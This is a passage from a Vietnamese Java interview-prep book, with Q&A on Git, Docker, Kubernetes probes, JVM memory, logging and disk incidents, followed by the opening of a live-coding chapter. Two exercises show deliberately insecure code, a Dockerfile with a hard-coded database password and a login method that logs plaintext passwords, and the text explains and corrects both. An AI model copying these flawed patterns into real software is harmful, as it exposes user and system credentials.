Cả ba đều kéo nhãn nhánh về commit cũ; khác nhau ở chỗ thay đổi của các commit bị bỏ nằm đâu: --soft giữ ở trạng thái đã stage, --mixed giữ trong file nhưng chưa stage, --hard xóa khỏi working tree. Ví dụ: --soft HEAD~3 để gộp 3 commit lộn xộn chưa push thành một commit gọn; --mixed HEAD~1 khi muốn tách một commit lớn thành nhiều commit nhỏ (chọn file để add lại từng phần); --hard origin/main khi muốn bỏ hết thay đổi cục bộ và làm lại từ bản trên remote. Cả ba chỉ dùng cho commit chưa chia sẻ; commit đã lên nhánh chung thì dùng revert.
Câu hỏi (Đọc code): Output git log dưới đây cho biết nhánh đã được gộp bằng cách nào?
	$ git log --oneline --graph -6
*   8e1f2a3 (HEAD -> main) Merge branch 'feature/coupon'
|\
| * 5e6f7a8 Add coupon API
| * 4d8e7f0 Add coupon entity
* | c7b6a5d Fix VAT rounding
|/
* 1a2b3c4 Release 1.4.1



Đáp án:
Nhánh feature/coupon được gộp vào main bằng merge thường (có merge commit), không phải rebase hay fast-forward. Đọc từ dưới lên: cả hai nhánh rẽ ra từ 1a2b3c4; main có thêm c7b6a5d (cột trái), feature/coupon có 4d8e7f0, 5e6f7a8 (cột phải); 8e1f2a3 là merge commit có hai cha, nối hai cột lại (dấu |\). Nếu dùng rebase rồi merge fast-forward, đồ thị sẽ là một đường thẳng không có cột phụ. Nếu dùng squash merge, sẽ chỉ có một commit mới trên main chứa tổng thay đổi của hai commit feature, và hai commit gốc không xuất hiện trong lịch sử main.
Câu hỏi (Thực chiến): Bạn lỡ chạy git reset --hard HEAD~2 và mất hai commit chưa push. Có cứu được không?
Cứu được bằng git reflog, vì commit chưa bị xóa ngay mà chỉ không còn nhánh nào trỏ tới. reflog ghi lại mọi vị trí HEAD từng đứng trong khoảng 90 ngày gần nhất. Chạy git reflog thấy các dòng như a9b8c7d HEAD@{1}: commit: Add refund API; sau đó git reset --hard a9b8c7d (hoặc git branch rescue a9b8c7d để an toàn hơn) là lấy lại. Thứ không cứu được là thay đổi chưa từng commit hay stash: reset --hard xóa chúng khỏi working tree mà Git không lưu bản nào. Vì vậy trước khi làm gì mạo hiểm, git stash hoặc commit tạm.
Câu hỏi (Hiểu sâu): Vì sao không rebase nhánh dùng chung? --force-with-lease khác --force thế nào?
Rebase tạo commit mới với hash mới; người khác đang giữ commit cũ sẽ có lịch sử lệch với remote, và khi họ pull hoặc push, các commit cũ và mới trùng nội dung trộn vào nhau, gây conflict khó hiểu hoặc đẩy lại code đã bị sửa. Sau khi rebase nhánh của mình, bắt buộc phải force push vì remote đang có commit cũ. --force ghi đè remote bằng bản của bạn bất kể trên remote có gì. --force-with-lease chỉ ghi đè nếu remote vẫn ở đúng vị trí mà lần fetch gần nhất bạn thấy; nếu đồng nghiệp đã đẩy thêm commit vào nhánh đó, lệnh bị từ chối thay vì âm thầm xóa commit của họ.
Câu hỏi (Cơ bản): git cherry-pick dùng khi nào? Cho một ví dụ.
Cherry-pick áp một commit cụ thể từ nhánh này sang nhánh khác, tạo commit mới có cùng thay đổi. Ví dụ hay gặp: bug được sửa ở main bằng commit f3e2d1c, nhưng production đang chạy nhánh release/1.4 và chưa thể đưa mọi tính năng mới của main lên. Bạn git switch release/1.4 && git cherry-pick f3e2d1c, build và deploy bản vá 1.4.3. Lưu ý: cherry-pick nhiều commit phụ thuộc nhau dễ conflict và dễ sót; nếu phải cherry-pick thường xuyên, đó là dấu hiệu chiến lược nhánh cần xem lại.
Câu hỏi (Cơ bản): Image, container và layer khác nhau thế nào?
Image là bản đóng gói chỉ đọc, container là một bản đang chạy của image, layer là từng lớp thay đổi file tạo nên image. So sánh với Java: image như class, container như object; chạy 3 container từ cùng một image giống new 3 object. Mỗi lệnh RUN, COPY trong Dockerfile tạo một layer; các image dùng chung layer (ví dụ cùng base eclipse-temurin:21-jre) chỉ lưu và tải layer đó một lần. Container có thêm một lớp ghi riêng, mất khi container bị xóa, nên dữ liệu cần giữ phải nằm ở volume hoặc dịch vụ bên ngoài.
Câu hỏi (Đọc code): Dockerfile dưới đây có những vấn đề gì?
	FROM maven:3-eclipse-temurin-21
WORKDIR /app
COPY . .
ENV DB_PASSWORD=Sup3rS3cret
RUN mvn package
EXPOSE 8080
CMD java -jar target/order-service-1.0.jar



Đáp án:
Có ít nhất năm vấn đề: một stage duy nhất, cache layer vô dụng, lộ secret, chạy bằng root, và CMD dạng shell làm hỏng graceful shutdown.
1. Một stage với image Maven: image cuối chứa JDK, Maven, mã nguồn và ~/.m2, dễ vượt 800MB và có thêm nhiều lỗ hổng không cần thiết.
1. COPY . . trước mvn package: sửa một dòng code là layer COPY đổi, nên bước mvn package phải tải lại toàn bộ dependency. Cần copy pom.xml và tải dependency trước, copy src sau. COPY . . còn đưa cả .git, .env vào image nếu thiếu .dockerignore.
1. ENV DB_PASSWORD=...: mật khẩu nằm vĩnh viễn trong layer, ai kéo được image là đọc được bằng docker history hoặc docker inspect. Secret phải đưa vào lúc chạy.
1. Không có USER: tiến trình chạy bằng root; nếu ứng dụng bị khai thác, kẻ tấn công có quyền root trong container.
1. CMD java -jar ... dạng chuỗi được chạy qua /bin/sh -c, nên PID 1 là shell, không phải Java. Khi Kubernetes gửi SIGTERM, shell thường không chuyển tín hiệu cho Java, ứng dụng không được tắt êm và bị SIGKILL sau 30 giây. Dùng dạng mảng ENTRYPOINT ["java", "-jar", "app.jar"]. Ngoài ra mvn package chạy cả test trong lúc build image, làm build chậm và phụ thuộc môi trường.
Bản đúng là Dockerfile multi-stage ở mục 11.2.
Câu hỏi (Hiểu sâu): Vì sao chỉ sửa một dòng code mà docker build tải lại toàn bộ dependency?
Vì Docker cache theo layer và theo thứ tự: một layer thay đổi thì mọi layer phía sau đều mất cache; nếu bước tải dependency nằm sau lệnh copy toàn bộ mã nguồn thì mỗi lần sửa code đều làm bước đó chạy lại. Docker quyết định dùng cache cho COPY bằng cách so hash nội dung các file được copy, và cho RUN bằng cách so chuỗi lệnh cùng layer cha. Cách sửa: copy pom.xml (thứ ít đổi) và chạy dependency:go-offline trước, tạo một layer dependency chỉ bị build lại khi pom.xml đổi; copy src sau. Ở CI, còn phải bảo đảm cache được giữ giữa các lần build (BuildKit cache mount hoặc --cache-from registry), nếu không mỗi runner mới đều build từ đầu.
Câu hỏi (Hiểu sâu): Container bị OOMKilled dù Heap tối đa chỉ 768MB và limit là 1GB. Vì sao?
Vì bộ nhớ của tiến trình Java không chỉ có Heap: Metaspace, stack của mỗi thread, code cache, bộ nhớ của GC và direct buffer đều nằm ngoài Heap, và tổng cộng có thể vượt limit của container. Đây là chỗ kiến thức vùng nhớ JVM (mục 2.2) gặp Kubernetes: ví dụ 200 thread Tomcat và thread pool, mỗi thread stack 1MB là 200MB; Metaspace 120MB; Netty hoặc NIO dùng direct buffer thêm 100MB; cộng 768MB Heap là vượt 1GB. Kernel giết tiến trình với exit code 137 mà JVM không kịp ném OutOfMemoryError, nên không có heap dump. Cách xử lý: để MaxRAMPercentage khoảng 70–75% chứ không phải 90%, giới hạn số thread, dùng Native Memory Tracking (-XX:NativeMemoryTracking=summary rồi jcmd <pid> VM.native_memory summary) để xem phần ngoài Heap dùng bao nhiêu, và tăng limit nếu thực sự cần.
	CÂU HỎI ĐÀO SÂU
Làm sao phân biệt OOMKilled với OutOfMemoryError? OOMKilled: kubectl describe pod ghi Last State: Terminated, Reason: OOMKilled, Exit Code: 137, log ứng dụng dừng đột ngột không có stacktrace. OutOfMemoryError: log có dòng java.lang.OutOfMemoryError: Java heap space, và nếu bật HeapDumpOnOutOfMemoryError sẽ có file heap dump.



Câu hỏi (Đọc code): Output dưới đây cho biết container đã gặp chuyện gì?
	$ docker ps -a --filter name=order
CONTAINER ID   IMAGE                 STATUS                       NAMES
a1b2c3d4e5f6   order-service:1.4.2   Exited (137) 2 minutes ago   order
$ docker inspect order --format '{{.State.OOMKilled}} {{.HostConfig.Memory}}'
true 536870912



Đáp án:
Container bị kernel giết vì dùng vượt giới hạn bộ nhớ 512MB. Exit code 137 = 128 + 9, tức tiến trình nhận tín hiệu 9 (SIGKILL); OOMKilled: true xác nhận lý do là hết bộ nhớ, và 536870912 byte chính là 512MB đặt bằng -m 512m. Nếu OOMKilled là false mà exit code vẫn 137, tiến trình bị kill bởi thứ khác (ví dụ docker kill, hoặc Kubernetes SIGKILL sau khi hết thời gian graceful shutdown). Hướng xử lý giống câu trên: kiểm tra MaxRAMPercentage, bộ nhớ ngoài Heap, và tăng limit nếu cần.
Câu hỏi (Thực chiến): Deploy xong, pod mới ở trạng thái CrashLoopBackOff. Bạn điều tra thế nào?
Đọc log của lần chạy vừa chết và event của pod để phân biệt "ứng dụng tự thoát vì lỗi" với "bị Kubernetes giết". Trình tự: kubectl describe pod <pod> xem phần Last State (exit code, OOMKilled) và Events (có Liveness probe failed không); kubectl logs <pod> --previous xem log trước khi chết. Ba nguyên nhân hay gặp: ứng dụng thoát với exit code 1 vì thiếu cấu hình hoặc không kết nối được DB (log có APPLICATION FAILED TO START); bị liveness giết vì khởi động chậm hơn initialDelaySeconds (event Liveness probe failed ... connection refused, sửa bằng startupProbe như kịch bản ở mục 11.3); bị OOMKilled vì limit quá thấp (exit code 137). Trong lúc điều tra, Deployment với rolling update vẫn giữ các pod bản cũ chạy, nên người dùng chưa bị ảnh hưởng; nếu không, rollback trước.
Câu hỏi (Hiểu sâu): Vì sao không đưa kiểm tra DB vào liveness probe?
Vì liveness fail thì pod bị restart, mà restart không chữa được DB chậm; khi DB có sự cố, mọi pod cùng fail liveness và cùng bị restart, biến sự cố DB thành sự cố toàn bộ service. Hơn nữa, lúc các pod khởi động lại đồng loạt, chúng cùng mở connection tới DB đang yếu, làm DB tệ hơn (hiệu ứng dây chuyền). Liveness chỉ nên trả lời "tiến trình này còn xử lý được không" (không deadlock, không treo). Kiểm tra dependency, nếu cần, đặt ở readiness: DB chết thì pod tạm thời không nhận traffic nhưng vẫn sống, DB hồi phục thì pod tự quay lại. Spring Boot mặc định không đưa DB vào nhóm liveness; muốn đưa vào readiness thì cấu hình management.endpoint.health.group.readiness.include=readinessState,db.
Câu hỏi (Hiểu sâu): Deploy kiểu rolling update nhưng vẫn có vài request lỗi 502 trong lúc deploy. Vì sao?
Vì việc rút pod khỏi Service và việc gửi SIGTERM cho pod diễn ra song song: pod có thể đã bắt đầu tắt trong khi load balancer hoặc kube-proxy vẫn còn gửi request mới tới nó. Nếu ứng dụng đóng cổng ngay khi nhận SIGTERM, những request tới trong vài giây đó nhận 502. Cách xử lý kết hợp: bật server.shutdown=graceful để Spring Boot chờ request đang chạy xong; thêm preStop với sleep 5 để pod chờ vài giây cho danh sách endpoint được cập nhật xong rồi mới nhận SIGTERM; bảo đảm terminationGracePeriodSeconds lớn hơn tổng thời gian sleep và thời gian chờ shutdown; và có readiness probe đúng để pod mới chỉ nhận traffic khi đã sẵn sàng.
Câu hỏi (Cơ bản): requests và limits trong Kubernetes khác nhau thế nào?
requests là lượng tài nguyên scheduler dùng để chọn node và được bảo đảm cho pod; limits là mức trần, vượt thì bị hạn chế hoặc bị giết. Ví dụ requests.memory: 768Mi nghĩa là pod chỉ được đặt lên node còn trống ít nhất 768Mi. Với CPU, vượt limits thì bị bóp (throttle), ứng dụng chậm đi nhưng không chết; với memory, vượt limits thì bị OOMKilled. Nhiều team không đặt CPU limit (chỉ đặt requests) để tránh throttle gây latency cao, nhưng luôn đặt memory limit. Với Java, Heap phải tính theo memory limit (MaxRAMPercentage).
Câu hỏi (Cơ bản): Vì sao dùng placeholder {} thay vì nối chuỗi khi log?
Vì với placeholder, chuỗi chỉ được ghép khi level đó đang bật; nối chuỗi thì luôn ghép, kể cả khi dòng log bị bỏ. log.debug("Order " + order + " created") gọi order.toString() và tạo chuỗi mới ở mọi request dù DEBUG tắt trên production; ở đường nóng hàng nghìn request mỗi giây, đó là CPU và rác cho GC vô ích. log.debug("Order {} created", order) chỉ lưu tham chiếu, kiểm tra level trước rồi mới format. Placeholder cũng giúp hệ thống log gom nhóm các dòng cùng mẫu. Nếu việc tính tham số tự nó tốn kém (serialize JSON), bọc trong if (log.isDebugEnabled()) hoặc dùng API lambda log.atDebug().addArgument(() -> toJson(order)).log("...") của SLF4J 2.
Câu hỏi (Đọc code): Dòng log JSON dưới đây cho bạn biết những gì, và bạn sẽ làm gì tiếp?
	{"@timestamp":"2026-09-24T13:02:44.905Z","log.level":"WARN","service.name":"payment-service","process.thread.name":"task-3","log.logger":"com.shop.payment.RefundWorker","message":"Refund 881 retry 3/3 failed, giving up","traceId":"","spanId":"","error.type":"java.net.ConnectException"}



Đáp án:
Lúc 20:02 giờ Việt Nam, worker hoàn tiền của payment-service đã thử 3 lần hoàn tiền cho yêu cầu 881 và bỏ cuộc vì không kết nối được đối tác; và dòng log không có traceId, nên không lần ngược được request gốc. Đọc từng field: WARN nhưng nội dung là "giving up", tức là tiền của khách chưa được hoàn mà không ai được báo, lẽ ra phải là ERROR kèm alert hoặc đẩy vào hàng đợi xử lý tay. Thread task-3 là thread của @Async/executor, và traceId rỗng cho thấy context tracing không được truyền từ thread request sang thread nền (MDC dựa trên ThreadLocal). ConnectException nghĩa là không mở được kết nối (đối tác sập hoặc sai địa chỉ, firewall), khác với SocketTimeoutException (kết nối được nhưng chờ phản hồi quá lâu). Việc tiếp theo: kiểm tra trạng thái đối tác và các yêu cầu hoàn tiền khác cùng khoảng thời gian, xử lý tay yêu cầu 881, sửa mức log và cấu hình truyền context (xem câu hỏi về @Async bên dưới).
Câu hỏi (Hiểu sâu): Vì sao theo dõi p99 thay vì latency trung bình? Giải thích bằng ví dụ số.
Vì trung bình bị vài request cực chậm kéo lệch và che giấu trải nghiệm thật; p99 cho biết 1% người dùng tệ nhất đang chờ bao lâu. Ví dụ 20 request ở mục 11.6: 18 request dưới 150ms, một request 900ms, một request 2400ms. Trung bình 263ms trông ổn, nhưng không phản ánh ai cả: người dùng điển hình (p50) chờ 110ms, còn p95 là 900ms và p99 là 2400ms. Một trang gọi 10 API song song thì chỉ cần một API rơi vào đuôi chậm là cả trang chậm, nên xác suất người dùng gặp đuôi chậm cao hơn nhiều so với 1%. Lưu ý kỹ thuật: không được lấy trung bình p99 của các pod để ra p99 toàn hệ thống; phải tính từ histogram gộp.
Câu hỏi (Đọc code): Đoạn code log dưới đây có những vấn đề gì?
	import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
 
class LoginService {
    private static final Logger log = LoggerFactory.getLogger(LoginService.class);
 
    String login(String username, String password) {
        log.info("Login attempt: user=" + username + ", password=" + password);
        try {
            return authenticate(username, password);
        } catch (IllegalStateException e) {
            log.error("Login failed", e);
            throw e;                                   // caller logs it again
        }
    }
    private String authenticate(String u, String p) { throw new IllegalStateException("bad credentials"); }
}



Đáp án:
Ba vấn đề: log mật khẩu dạng rõ, nối chuỗi trong log, và vừa log vừa ném lại exception. Mật khẩu xuất hiện trong file log, hệ thống log tập trung, bản backup, và bất kỳ ai có quyền đọc log; đây là sự cố bảo mật, phải bỏ hẳn tham số password khỏi log. Nối chuỗi làm việc ghép chuỗi luôn xảy ra; dùng log.info("Login attempt: user={}", username). Log rồi throw e khiến cùng một exception bị log lại ở tầng trên (controller, @ControllerAdvice), một lỗi thành nhiều stacktrace, khó đếm và dễ gây nhầm là nhiều lỗi. Nguyên tắc: xử lý thì log, không xử lý thì ném tiếp mà không log. Ngoài ra, đăng nhập sai là chuyện bình thường, nên log ở WARN hoặc INFO kèm số lần thử, không phải ERROR với stacktrace.
Câu hỏi (Thực chiến): Log của các tác vụ @Async không có traceId. Vì sao và sửa thế nào?
Vì traceId nằm trong MDC, mà MDC dựa trên ThreadLocal của thread request; tác vụ @Async chạy trên thread khác của executor nên không thấy MDC đó. Đây là chỗ kiến thức ThreadLocal (mục 3.9) và thread pool (mục 3.6) gặp logging. Cách sửa thủ công: cấu hình ThreadPoolTaskExecutor.setTaskDecorator(...) với một TaskDecorator chụp MDC.getCopyOfContextMap() ở thread gọi, đặt lại vào MDC ở đầu tác vụ và MDC.clear() trong finally. Với Micrometer Tracing trong Spring Boot 3, dùng ContextPropagatingTaskDecorator để truyền cả trace context (span con được tạo đúng cha). Với CompletableFuture.supplyAsync(...) phải truyền executor đã được bọc, không dùng ForkJoinPool.commonPool() mặc định.
	CÂU HỎI ĐÀO SÂU
Vì sao phải MDC.clear() trong finally ở thread của executor? Vì thread được tái sử dụng: tác vụ sau chạy trên cùng thread sẽ mang traceId của tác vụ trước, log bị gán nhầm request, còn tệ hơn là không có traceId.



Câu hỏi (Đọc code): Output dưới đây nói lên điều gì, và vì sao xóa file log xong mà ổ đĩa vẫn đầy?
	$ df -h /
Filesystem      Size  Used Avail Use% Mounted on
/dev/nvme0n1p1   50G   50G     0 100% /
$ rm /var/log/order-service/app.log && df -h / | tail -1
/dev/nvme0n1p1   50G   50G     0 100% /
$ sudo lsof +L1 | grep app.log
java  21873 spring  7w  REG  259,1  38654705664  0  1311  /var/log/order-service/app.log (deleted)



Đáp án:
Ổ gốc đầy 100%; file log 38GB đã bị xóa khỏi thư mục nhưng tiến trình Java PID 21873 vẫn đang mở nó để ghi, nên dung lượng chưa được giải phóng. Trên Linux, rm chỉ xóa tên file; dữ liệu chỉ thực sự bị thu hồi khi không còn tiến trình nào giữ file mở. lsof +L1 liệt kê các file đã xóa (số liên kết bằng 0) mà vẫn bị mở: 7w là file descriptor số 7 mở để ghi, kích thước 38654705664 byte (khoảng 36GB). Cách xử lý: không rm file log đang được ghi, mà làm rỗng nó bằng truncate -s 0 app.log (hoặc : > app.log); nếu đã lỡ xóa, restart ứng dụng hoặc truncate qua /proc/21873/fd/7. Sửa gốc: cấu hình rolling log theo dung lượng và số ngày (logging.logback.rollingpolicy.max-file-size, max-history, total-size-cap), và alert khi đĩa vượt 80%.
Câu hỏi (Thực chiến): Ổ đĩa server đầy 100% lúc nửa đêm, ứng dụng bắt đầu lỗi. Bạn làm gì theo thứ tự?
Giải phóng dung lượng an toàn trước để hệ thống chạy lại, sau đó tìm nguyên nhân tăng dung lượng và chặn nó. Trình tự: df -h xác định phân vùng nào đầy; du -sh /var/log/* | sort -rh | head (lặp lại vào thư mục con) tìm thủ phạm; làm rỗng file log lớn bằng truncate -s 0 thay vì rm (xem câu trên), xóa log cũ đã nén, heap dump cũ trong thư mục dump; kiểm tra lại df -h và health của ứng dụng. Sau đó tìm nguyên nhân: log DEBUG bị bật trên production, một vòng lặp lỗi log stacktrace liên tục, thiếu rolling policy, hoặc heap dump tự động ghi nhiều lần. Action item: rolling policy có total-size-cap, đẩy log ra hệ thống tập trung, alert đĩa ở 80%, tách thư mục dump sang phân vùng riêng.
Câu hỏi (Thực chiến): Log báo HikariPool-1 - Connection is not available, request timed out after 30000ms. Bạn điều tra thế nào?
Thông báo này nghĩa là mọi connection trong pool đều đang bị giữ và request phải chờ quá 30 giây; nguyên nhân gốc gần như luôn là connection bị giữ quá lâu, không phải pool quá nhỏ. Trình tự như kịch bản ở mục 11.8: đọc phần (total=20, active=20, idle=0, waiting=57) trong log để xác nhận pool cạn; xem pg_stat_activity (hoặc tương đương) để biết các connection đang chạy query gì và bao lâu; lấy thread dump để xem thread đang giữ connection làm gì. Các nguyên nhân hay gặp: query chậm vì thiếu index; transaction dài vì gọi HTTP ra ngoài bên trong @Transactional (connection bị giữ trong lúc chờ mạng); connection leak do tự lấy Connection mà không đóng (bật leakDetectionThreshold để phát hiện); hoặc Open Session In View giữ connection tới hết request. Tăng maximumPoolSize chỉ là giải pháp tạm và có thể làm DB quá tải hơn.
	CÂU HỎI ĐÀO SÂU
Vì sao gọi HTTP bên trong @Transactional lại làm cạn pool? Vì transaction mở là đã lấy connection và giữ tới khi commit; nếu đối tác phản hồi mất 10 giây, connection bị giữ 10 giây mà không làm gì. 20 request như vậy cùng lúc là cạn pool 20 connection. Sửa: gọi đối tác bên ngoài transaction, chỉ bọc phần ghi DB.



Câu hỏi (Hiểu sâu): Lỡ commit mật khẩu DB lên Git, xóa file trong commit sau có đủ không?
Không đủ; phải coi mật khẩu đó đã bị lộ và đổi ngay, rồi mới dọn lịch sử. Commit sau chỉ xóa file khỏi phiên bản mới nhất, còn mọi commit cũ vẫn chứa mật khẩu; ai đã clone repo, fork, hoặc công cụ CI đã cache đều có bản sao. Kể cả khi viết lại lịch sử bằng git filter-repo và force push, bạn không thu hồi được các bản sao đó. Trình tự đúng: đổi mật khẩu (rotate) và kiểm tra log truy cập DB xem có đăng nhập lạ không; sau đó mới dọn lịch sử nếu cần; cuối cùng chặn tái diễn bằng .gitignore, secret manager, và công cụ quét secret trong pre-commit hook và CI.
11.10 Tóm tắt trọng tâm
1. Merge giữ nguyên lịch sử và thêm merge commit, rebase chép lại commit của bạn lên đầu nhánh đích với hash mới, vì vậy không rebase nhánh người khác đang dùng.
1. Commit chưa chia sẻ thì sửa bằng reset (soft, mixed, hard khác nhau ở chỗ thay đổi còn nằm đâu), commit đã lên nhánh chung thì gỡ bằng revert vì nó không viết lại lịch sử.
1. Image là bản đóng gói chỉ đọc, container là bản đang chạy của image, layer là lớp thay đổi file; layer đổi thì mọi layer sau mất cache, nên copy dependency trước, code sau.
1. Dockerfile tốt dùng multi-stage, chạy non-root, không chứa secret, dùng ENTRYPOINT dạng mảng để Java nhận được SIGTERM.
1. Readiness quyết định có nhận traffic, liveness quyết định có bị restart, startup probe bảo vệ ứng dụng khởi động chậm khỏi bị liveness giết.
1. Không đưa DB vào liveness, vì restart không chữa được DB và sẽ làm mọi pod chết dây chuyền.
1. Heap chỉ là một phần bộ nhớ của JVM, nên container có thể bị OOMKilled (exit code 137) dù -Xmx nhỏ hơn limit.
1. Một image chạy mọi môi trường, khác nhau ở cấu hình qua biến môi trường; secret nằm trong secret manager, lỡ lộ thì phải đổi ngay.
1. Log JSON có traceId cho phép lọc toàn bộ câu chuyện của một request qua nhiều service; MDC dựa trên ThreadLocal nên phải dọn và phải truyền sang thread @Async.
1. Log dùng placeholder, kèm exception làm tham số cuối, không log dữ liệu nhạy cảm, và chỉ log exception một lần ở nơi xử lý.
1. Theo dõi p95/p99 thay vì trung bình, vì vài request cực chậm bị trung bình che mất; p99 toàn hệ thống phải tính từ histogram gộp.
1. Đọc được output của tail, grep, top, ps, ss, df, du, ls -l giúp khoanh vùng sự cố trong vài phút đầu.
1. Xử lý sự cố theo thứ tự: xác định phạm vi, thu thập bằng chứng, giảm thiệt hại (rollback, tắt flag), rồi mới tìm nguyên nhân gốc và viết postmortem không đổ lỗi.
1. Pool connection cạn là triệu chứng; nguyên nhân gốc thường là query chậm, transaction dài hoặc connection leak.
11.11 Checklist ôn tập
1. Phân biệt merge và rebase, revert và reset; biết --force-with-lease và cherry-pick.
1. So sánh Git flow và trunk-based.
1. Viết Dockerfile multi-stage, giải thích layer cache và chạy non-root.
1. Giải thích pod, deployment, service, readiness, liveness, graceful shutdown.
1. Mô tả một pipeline CI/CD và cách quản lý config, secret.
1. Dùng SLF4J đúng cách, log JSON, MDC traceId, không log dữ liệu nhạy cảm.
1. Kể được các metrics cần theo dõi và nguyên tắc đặt alert.
1. Thuộc các lệnh tail, grep, less, top, ps, ss, df, du, chmod, export.
1. Trình bày quy trình xử lý API chậm và 500 sau deploy; biết viết postmortem.
1. Vẽ được trạng thái nhánh trước/sau merge và rebase; xử lý được kịch bản reset commit chưa push và revert commit đã lên main.
1. Đọc được output docker build, docker ps -a (exit code 137) và chỉ ra lỗi trong một Dockerfile tồi.
1. Giải thích kịch bản pod khởi động chậm bị liveness giết và cách sửa bằng startupProbe.
1. Đọc được một dòng log JSON có traceId, tính được p50/p95/p99 từ một dãy số và giải thích vì sao không dùng trung bình.
1. Đọc được output của top, ps, ss, df, du, ls -l, lsof +L1.
Chương 12. Live Coding và giải thuật
Ở mức 2–4 năm, vòng live coding hiếm khi là LeetCode Hard. Đề thường ở mức easy/medium, gắn với việc thật: đếm, gom nhóm, xử lý chuỗi, viết cache, viết một đoạn SQL hay một đoạn đa luồng nhỏ. Thứ tôi chấm không phải là bạn có ra đáp án hay không, mà là cách bạn đi tới đáp án: có hỏi lại đề không, có nghĩ tới trường hợp biên không, có nói được độ phức tạp và có tự kiểm tra code của mình không. Rất nhiều ứng viên ra đáp án đúng vẫn trượt vì code trong im lặng 20 phút rồi nói "xong rồi anh".
	NGƯỜI PHỎNG VẤN MUỐN KIỂM TRA
1. Làm rõ đề và nêu giả định trước khi gõ code
1. Chọn đúng cấu trúc dữ liệu và giải thích được vì sao (HashMap, ArrayDeque, TreeMap, PriorityQueue...)
1. Nói được độ phức tạp thời gian/bộ nhớ và cách tối ưu từ lời giải brute-force
1. Code sạch, đặt tên rõ, xử lý edge case, tự chạy thử bằng tay với ví dụ
1. Viết được Stream API, SQL cơ bản và một bài đồng bộ đa luồng nhỏ mà không cần IDE nhắc



12.1 Người phỏng vấn thực sự chấm gì
Tôi dùng một phiếu chấm gần như cố định cho vòng live coding. Đáp án đúng chỉ chiếm khoảng một phần ba số điểm. Phần còn lại là những thứ phản ánh bạn sẽ làm việc thế nào trong team: bạn có hỏi khi yêu cầu mơ hồ không, có nghĩ tới dữ liệu xấu không, có biết code mình chậm ở đâu không.
	Tiêu chí
	Tín hiệu tốt
	Tín hiệu xấu

	Giao tiếp
	Nói to suy nghĩ, giải thích lựa chọn
	Im lặng gõ, hỏi gì cũng "chờ em chút"

	Làm rõ đề
	Hỏi input rỗng, null, trùng, kích thước
	Lao vào code ngay giây thứ 10

	Edge case
	Tự liệt kê trước khi code
	Chỉ chạy đúng ví dụ mẫu

	Độ phức tạp
	Nêu Big-O, biết điểm nghẽn
	"Chắc là nhanh ạ"

	Code sạch
	Tên biến có nghĩa, tách hàm nhỏ
	Biến a, b, tmp2, một hàm 60 dòng

	Tự test
	Chạy tay với 2–3 input, tự tìm bug
	Chờ người phỏng vấn chỉ lỗi



	MẸO TỪ NGƯỜI PHỎNG VẤN
Một ứng viên nói rõ "em làm brute-force O(n^2) trước cho chắc, sau đó tối ưu bằng HashMap xuống O(n)" và làm xong bản O(n) thường được điểm cao hơn người im lặng viết thẳng bản tối ưu nhưng không giải thích được. Người phỏng vấn cần nhìn thấy quá trình tư duy, vì đó là thứ họ sẽ phải làm việc cùng hằng ngày.



Với ứng viên 2–4 năm, tôi còn để ý thêm hai điều mà Fresher được châm chước: bạn có dùng đúng API của Java hiện đại không (ArrayDeque thay Stack, Map.merge, record, switch dạng mũi tên), và bạn có tự nhắc tới khía cạnh production không, ví dụ "nếu dữ liệu vài chục triệu bản ghi thì em sẽ không load hết vào memory mà xử lý theo batch".
12.2 Quy trình 6 bước nói to khi code
Hãy luyện quy trình này đến mức thành phản xạ. Mỗi bước đều nói ra thành lời, kể cả khi bạn đã biết đáp án.
1. Nhắc lại đề bằng lời của mình. "Em hiểu là: cho mảng số nguyên và target, trả về chỉ số hai phần tử có tổng bằng target, đúng không anh?" Bước này bắt được rất nhiều hiểu lầm.
1. Hỏi ràng buộc và nêu giả định. Input có thể rỗng hay null không? Có số âm, có phần tử trùng không? Kích thước cỡ nào (1 nghìn hay 10 triệu)? Chuỗi chỉ có ASCII hay có Unicode tiếng Việt? Không có đáp án thì trả gì, ném exception hay trả mảng rỗng?
1. Lấy ví dụ và liệt kê edge case. Tự viết 2–3 ví dụ nhỏ ra comment, gồm một ca bình thường và một ca biên.
1. Nêu hướng giải và độ phức tạp trước khi code. Bắt đầu từ brute-force, nói Big-O, rồi đề xuất cách tối ưu. Hỏi "anh có muốn em code luôn bản tối ưu không?".
1. Code và bình luận trong lúc gõ. Đặt tên rõ, tách hàm phụ nếu dài. Chỗ nào chưa chắc API thì nói thẳng: "em không nhớ chính xác tên method, em giả sử là X".
1. Tự test bằng tay và tổng kết. Chạy từng dòng với ví dụ đã viết ở bước 3, đặc biệt ca biên. Cuối cùng nhắc lại độ phức tạp và nêu hướng cải tiến nếu có thêm thời gian.
	BẪY THƯỜNG GẶP
Cái bẫy lớn nhất là ngại hỏi vì sợ bị đánh giá "không hiểu đề". Thực tế ngược lại: nhiều đề được cố tình viết thiếu để xem bạn có hỏi không. Trong công việc thật, yêu cầu từ BA hay khách hàng cũng luôn thiếu như vậy.



	MẸO TỪ NGƯỜI PHỎNG VẤN
Khi bị kẹt, đừng im lặng. Hãy nói "em đang nghĩ tới hướng A nhưng vướng chỗ B". Người phỏng vấn thường sẽ gợi ý, và biết nhận gợi ý để đi tiếp cũng là một điểm cộng.



12.3 Big-O cần nhớ của Java Collections
	NHẮC LẠI KIẾN THỨC
Bảng dưới dựa trên cách các collection được cài đặt bên trong: ArrayList là một mảng tự giãn, LinkedList là chuỗi node nối nhau, HashMap chia key vào các "ngăn" (bucket) theo hashCode, TreeMap là cây đỏ đen luôn giữ thứ tự. Nếu chưa chắc phần này, hãy đọc lại tổng quan Collections ở N1.11 và phần HashMap từ bên trong ở mục 1.5 trước.



Bạn không cần thuộc lòng lý thuyết độ phức tạp, nhưng phải nói ngay được chi phí của những thao tác mình dùng hằng ngày. Khi tôi hỏi "list.contains() trong vòng for thì độ phức tạp bao nhiêu?", câu trả lời phải bật ra ngay: O(n^2).
	Cấu trúc
	Thao tác
	Độ phức tạp
	Ghi chú

	ArrayList
	get(i), set(i)
	O(1)
	Truy cập ngẫu nhiên nhanh

	ArrayList
	add cuối
	O(1) khấu hao
	Thỉnh thoảng phải copy mảng khi đầy

	ArrayList
	add/remove giữa, contains
	O(n)
	Dịch phần tử, quét tuyến tính

	LinkedList
	thêm/xóa đầu, cuối
	O(1)
	get(i) là O(n), ít khi đáng dùng

	ArrayDeque
	push/pop/offer/poll
	O(1)
	Dùng làm stack và queue

	HashMap, HashSet
	get/put/contains
	O(1) trung bình
